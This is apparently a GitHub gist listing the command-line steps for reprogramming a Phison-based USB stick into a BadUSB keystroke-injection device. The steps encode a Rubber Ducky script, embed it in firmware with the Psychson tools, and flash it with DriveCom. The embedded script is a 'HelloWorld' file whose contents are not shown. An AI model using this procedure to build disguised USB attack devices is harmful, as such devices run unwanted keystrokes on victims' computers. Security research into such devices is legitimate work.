Skip to content

Instantly share code, notes, and snippets.

@jaspermayone
Created April 12, 2024 01:23
Show Gist options
  • Save jaspermayone/a7a92f34774ed302c4c56311ccc8013d to your computer and use it in GitHub Desktop.
Save jaspermayone/a7a92f34774ed302c4c56311ccc8013d to your computer and use it in GitHub Desktop.
CREATE HID PAYLOAD
java -jar c:\fw\ducky\duckencode.jar -i c:\fw\ducky\HelloWorld.txt -o c:\fw\ducky\inject.bin
CONVERT INJECT.BIN TO FIRMWARE (Go to folder fw\Psychson-master\firmware\ and run build.bat first)
c:\fw\Psychson-master\tools\EmbedPayload.exe c:\fw\ducky\inject.bin c:\fw\Psychson-master\firmware\bin\fw.bin
=================================================================================================================
SET USB STICK IN BOOTMODE
c:\fw\Psychson-master\tools\DriveCom.exe /drive=G /action=SetBootMode
SET ACTION TO SEND EXECUTABLE USING BURNER IMAGE
c:\fw\Psychson-master\tools\DriveCom.exe /drive=G /action=SendExecutable /burner=c:\fw\fw_bn\BN03V104M.BIN
DUMP THE ORIGINAL FIRMWARE
c:\fw\Psychson-master\tools\DriveCom.exe /drive=G /action=DumpFirmware /firmware=c:\fw\currentfw.bin
SEND PAYLOAD TO FIRMWARE
c:\fw\Psychson-master\tools\DriveCom.exe /drive=G /action=SendFirmware /burner=c:\fw\fw_bn\BN03V104M.BIN /firmware=c:\fw\Psychson-master\firmware\bin\fw.bin
===============================================================================================================================================================
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment